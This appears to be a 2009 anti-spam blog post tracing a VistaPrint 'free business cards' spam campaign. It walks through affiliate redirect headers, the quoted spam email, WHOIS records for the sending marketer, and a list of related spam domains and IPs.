3. publishers.clickbooth.com (67.216.238.10 - integraclick.wip.directresponsetech.com)
4. vistaprint.co.uk (69.17.223.12)

Actual headers

HTTP/1.1 302 Moved Temporarily
Connection: close
Date: Mon, 01 Jun 2009 15:46:27 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
location: http://www.clickboothlnk.com/e/?enc=bqyyvskfgsqyy&optionalinfo=_11645&deployid=0&land=0&pid=0
Content-Type: text/html; charset=UTF-8

HTTP/1.1 302 Found
Date: Mon, 01 Jun 2009 15:47:53 GMT
Server: Apache
X-Powered-By: PHP/5.2.4-2ubuntu5.3
Location: http://publishers.clickbooth.com/ez/bqyyvskfgsqyy/_11645&dp=0&l=0&p=0
Content-Length: 0
Connection: close
Content-Type: text/html

HTTP/1.1 301 Moved Permanently
Date: Mon, 01 Jun 2009 15:48:19 GMT
Server: Apache/1.3.41 (Unix) PHP/5.2.9 with Suhosin-Patch
Vary: Host
X-Server-Name: www@dc1dtweb142
X-Powered-By: PHP/5.2.9
Cache-Control: public, max-age=0, must-revalidate
P3P: policyref="/w3c/p3p.xml", CP="NOR NOI DSP COR ADM OUR PHY"
Set-Cookie: directtrack_click_integraclick=05ebc310a3b65ea15e3ecd02105bd4e6; expires=Tue, 02-Jun-2009 15:48:19 GMT; path=/
Set-Cookie: directtrack_lead_integraclick=05ebc310a3b65ea15e3ecd02105bd4e6; expires=Tue, 29-Sep-2009 15:48:19 GMT; path=/
Set-Cookie: directtrack_lead_integraclick=05ebc310a3b65ea15e3ecd02105bd4e6; expires=Tue, 29-Sep-2009 15:48:19 GMT; path=/; domain=.directtrack.com
Location: http://www.vistaprint.co.uk/vp/gateway.aspx?S=0494720417&affid=CD73818
Connection: close
Content-Type: text/html

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Server: Microsoft-IIS/6.0
P3P: CP="VPRT "
X-AspNet-Version: 2.0.50727
X-Served-By: 33c2af3c1e6a66516efcaa19424c8ba4
Content-Length: 946
Vary: Accept-Encoding
Date: Mon, 01 Jun 2009 15:48:48 GMT
Connection: close
Set-Cookie: P=DF=0%3a&V=19.9&SID=0494720417&PID=346&TC=aAAS5AAAtACZRACZrACa4ACeYACf6ACg%2bAChGAChJAChSAChUAChuACh8ACh%2fACiXACilACisACivACi1ACi7ACi%2fACjPACjSACjYACjfACjkACjrACjvACj1ACj5ACj8ACj%2fACkHACkZACkbACkfACkjACk2ACk4AClFAClUAClbACljACmFACm4ACnJ; expires=Tue, 01-Jun-2010 15:48:48 GMT; domain=.vistaprint.co.uk; path=/
Set-Cookie: PSC=PDATE=6%2f1%2f2009+11%3a48%3a48+AM&SID=0494720417&TC=aAAS5AAAtACZRACZrACa4ACeYACf6ACg%2bAChGAChJAChSAChUAChuACh8ACh%2fACiXACilACisACivACi1ACi7ACi%2fACjPACjSACjYACjfACjkACjrACjvACj1ACj5ACj8ACj%2fACkHACkZACkbACkfACkjACk2ACk4AClFAClUAClbACljACmFACm4ACnJ&PSID=&pc=on&VID=936608645783&AFFID=CD73818&LANGID=2; expires=Tue, 01-Jun-2010 15:48:48 GMT; domain=.vistaprint.co.uk; path=/
Set-Cookie: SITE=sc=on&sps=0&ns=True&SPOTEXT=1&SUBSN=650745410&S=835508720; domain=.vistaprint.co.uk; path=/
Set-Cookie: tduid=; domain=.vistaprint.co.uk; path=/
Set-Cookie: v1st=E25D97E4B26DB6CF; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.vistaprint.co.uk
Expires: Sun, 31 May 2009 23:08:48 GMT
Cache-Control: private


From clickbooth.com, you're then taken to VistaPrint.co.uk.

Note for researchers: The links are Geo-location based, so you'll need to ensure you're using a UK proxy or you'll be given a "This offer is not available in your area" error

Exported by: Outlook Export v0.1.6


From: Vista
E-mail:ts@exclusivenetoffers.co.uk [ 67.213.94.242 - ns1.financetrackeronline.co.uk ]
Date: 01/06/2009 13:22:09
Subject: [SPAM] Congrats you've been selected to receive complementary products
**************************************************************************
Links
**************************************************************************

Link: http://clicks.exclusivenetoffers.co.uk/usertracking/ut/ot.asp?mid=11645&uid=244184
Domain: clicks.exclusivenetoffers.co.uk
IP: 67.213.94.242 [ ns1.financetrackeronline.co.uk ]
hpHosts Status: Listed
MDL Status: Not Listed
PhishTank Status: Unknown

Link: http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=60137&mid=11645&UID=244184
Domain: clicks.exclusivenetoffers.co.uk
IP: 67.213.94.242 [ ns1.financetrackeronline.co.uk ]
hpHosts Status: Listed
MDL Status: Not Listed
PhishTank Status: Unknown

Link: http://www.eset.com
Domain: www.eset.com
IP: 72.3.254.86 [ www.eset.com ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Unknown

Link: http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=16544&mid=11645&UID=244184
Domain: clicks.exclusivenetoffers.co.uk
IP: 67.213.94.242 [ ns1.financetrackeronline.co.uk ]
hpHosts Status: Listed
MDL Status: Not Listed
PhishTank Status: Unknown

Link: http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=16545&mid=11645&UID=244184
Domain: clicks.exclusivenetoffers.co.uk
IP: 67.213.94.242 [ ns1.financetrackeronline.co.uk ]
hpHosts Status: Listed
MDL Status: Not Listed
PhishTank Status: Unknown


**************************************************************************
Text Version
**************************************************************************
<http://clicks.exclusivenetoffers.co.uk/usertracking/ut/ot.asp?mid=11645&uid=244184>

If you can't read or see this email, Click Here <http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=60137&mid=11645&UID=244184>

Get 250 FREE Business Cards Now! <http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=60137&mid=11645&UID=244184>
<http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=60137&mid=11645&UID=244184>
<http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=60137&mid=11645&UID=244184> CONGRATULATIONS!
<http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=60137&mid=11645&UID=244184> $FIRSTNAME$
You have been selected to receive
250 FREE business cards
+ a FREE business card holder!
Get 250 FREE Business Cards Now! <http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=60137&mid=11645&UID=244184>
• Easy ordering in just minutes
• Choose from 42 designs
• Satisfaction guaranteed


Over 12,000,000 customers
can’t be wrong!

Order Now <http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=60137&mid=11645&UID=244184>
<http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=60137&mid=11645&UID=244184>
<http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=60137&mid=11645&UID=244184>
Hurry! Exclusive limited time offer! <http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=60137&mid=11645&UID=244184>

<http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=60137&mid=11645&UID=244184>
Excludes VAT. Postage and pprocessing, product upgrades and photo/logo uploads not included unless otherwise specified. Not valid on previous purchases. See web site for details.
________________________________

VistaPrint provides the highest quality, full-colour graphic design and printing at the lowest prices!
VistaPrint has served more than 12,000,000 customers worldwide.
The products and services described in this e-mail are provided by VistaPrint Limited,
the international leader for webtop graphic design and printing.

<http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=60137&mid=11645&UID=244184>

This email is intended for at the e-mail address CEO@IT-MATE.CO.UK. If you are not this person please click HERE <http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=16544&mid=11645&UID=244184> to unsubscribe. You have been sent this e-mail because you opted in to receive e-mail on a website owned by one of our partners. This e-mail has been delivered to you by Trust Senders Inc., an independent marketing company. We are not directly affiliated with any of the companies advertised in our products, and any e-mail we deliver is brought to you solely by Trust Senders Inc., not the advertised company directly. If you would like to view our privacy policy click HERE <http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=16545&mid=11645&UID=244184> . If you no longer desire to receive e-mail from Trust Senders Inc. then please use the appropriate Unsubscribe <http://clicks.exclusivenetoffers.co.uk/usertracking/ut/cte.html?L=16544&mid=11645&UID=244184> link, or write us at:

11-80 Mapleton Road | Suite 196 | Moncton, NB | E1C 7W8 | Canada


After a little scouring I came cross the UK freephone number, who gave me the number for their US corporate office;

VistaPrint Corporate: 001 781 652 6300
VistaPrint UK: 0800 028 8251

Calling their corporate office, I mentioned to the rep that I was receiving spam pointing to VistaPrint.co.uk for an offer for "250 free business cards", and since I've never registered for VistaPrint, wanted to know how they obtained my e-mail address (especially given the spam was coming to {random}@it-mate.co.uk), and further wanted the name and number of the marketing partner they used so I could speak to them concerning this issue.

Instead of answering my questions, the rep told me I had actually registered an account using the e-mail address owner@mydomin - something I've never done, then further told me that I had registered using a Compuserve address (again, something I've never done).

Since the latest e-mail came to ceo@mydomain, this was clearly balls as if I had registered for their companies rubbish, it would have come to owner@ since they advised that I'd registered using that e-mail address.

This begs the question, how did they get my address? Obviously someone registered with them using my address, that's a given, but does not answer the question of why their marketing partners, are sending spam for VP, to {random}@ .... Alas however, the VP rep I spoke to did not seem to want to give me the contact details for their partner, so I decided to go back to the e-mails themselves and see what I could digg up.

The first thing I started with was "Trust Senders Inc.", since that's who it claimed to come from (word of note, there have been thousands of these over the years, for varying sites, all claiming to come from a variety of companies - the company mentioned always changes after a few weeks). The Trust Senders Inc website gives the impression of it's being a legit professional marketing company - but alas nope, it's not. I decided first to try the phone number listed on their website and not surprisingly, it didn't work (number doesn't exist apparently), so I decided to see if the number was listed in the WhoIs;

http://hosts-file.net/?s=trustsenders.com&wn=1

Registration Service Provided By: Enom, Inc
Contact: CustomerSupport@enom.com
Visit: www.enom.com

Domain name: trustsenders.com

Administrative Contact:
Trust Senders Inc
Ian MacIsaac (domainadmin@trustsenders.com)
+1.6179340547
Fax: +1.
11-80 Mapleton Road
Suite 196
Moncton, NEW-BRUNSWICK E1C 7W8
CA

Technical Contact:
Trust Senders Inc
Ian MacIsaac (domainadmin@trustsenders.com)
+1.6179340547
Fax: +1.
11-80 Mapleton Road
Suite 196
Moncton, NEW-BRUNSWICK E1C 7W8
CA

Registrant Contact:
Trust Senders Inc
Ian MacIsaac ()

Fax:
11-80 Mapleton Road
Suite 196
Moncton, NEW-BRUNSWICK E1C 7W8
CA

Status: Locked

Name Servers:
NS1.TRUSTSENDERS.COM
NS2.TRUSTSENDERS.COM

Creation date: 01 Mar 2008 20:16:00
Expiration date: 01 Mar 2010 20:16:00


Alas, the number provided in the WhoIs doesn't work either - surprised? Me neither. I then decided to see if they had another website, and indeed they do (trustsendersflyers.com and trustsenderspartners.com), but alas the number is the same (at least they're consistent). But we're not done yet - looking at the IP netblock info, we see Trust Senders also owns the block they're using, under the name Trust Senders SPD - alas however, there's no contact details in the net-block info, so we'll have to go to SPD Networks instead, and see if we can get in touch with them (surely they've got a working phone number for them?).

SPD Networks however, also do not seem to have a telephone number, not on their contact page anyway;

http://www.spdnetwork.net/7209.html

Nor do they have a valid number in the WhoIs details;

http://hosts-file.net/?s=spdnetwork.net&wn=1

I'm not hopeful of an e-mail response, but I'll send them an e-mail anyway. In the meantime, some of the domains I've seen since this started include;

http://hosts-file.net/misc/VistaPrint_spam.html

pull.xmr3.com        137.236.223.2
www.xmr3.com        137.236.223.7
emailinform.co.uk        193.203.192.69
emailinform.com        193.203.192.69
www.emailinform.co.uk        193.203.192.69
myhomennow.com        204.92.139.147
content.myhomennow.com        204.92.139.148
ct.mykindofsound.co.uk        204.92.141.107
content.mykindofsound.co.uk        204.92.141.108
ct.mykindofsound.com        204.92.141.123
content.mykindofsound.com        204.92.141.124
ct.canwebetogether.com        204.92.141.155
content.canwebetogether.com        204.92.141.156
ct.myclubnow.co.uk        204.92.141.171
content.myclubnow.co.uk        204.92.141.172
ct.myclubnow.com        204.92.141.187
content.myclubnow.com        204.92.141.188
ct.traveltogethernow.com        204.92.141.219
content.traveltogethernow.com        204.92.141.220
ct.myhomennow.co.uk        204.92.141.235
content.myhomennow.co.uk        204.92.141.236
ht0.info        208.43.75.195
vistaprint.li        208.43.75.195
www.emc1.co.uk        212.50.164.133
mailing.getmeaticket.co.uk        217.8.250.48
informedstore.fagms.net        62.27.38.101
content.dynamicmessenger.com        64.40.98.15
clicks.exclusivenetoffers.co.uk        67.213.94.242
clicks.exclusivenetoffers.co.uk        67.213.94.242
clicks.financetrackeronline.co.uk        67.213.94.242
clicks.financetrackeronline.co.uk        67.213.94.242
theoasispath.com        69.64.155.119
ungrantcloth.com        69.64.155.123
za51.com        74.54.82.224
www.primafirst.com        85.232.41.133
www.superblyvisual.co.uk        85.232.41.133
images.getmeaticket.com        92.60.117.185
www.urfreesim.co.uk        92.60.120.226

*************************************
No longer resolve
*************************************
activesegsway.com        127.0.0.1
brainscoffer.com        127.0.0.1
demandcallback.com        127.0.0.1
violetpansy.com        127.0.0.1


I'll leave the research on the above domains as an excercise for the reader. In the meantime, should you receive any spam pointing to VistaPrint, and you did NOT register on their site to receive such - give them a call and make sure you give them a piece of your mind.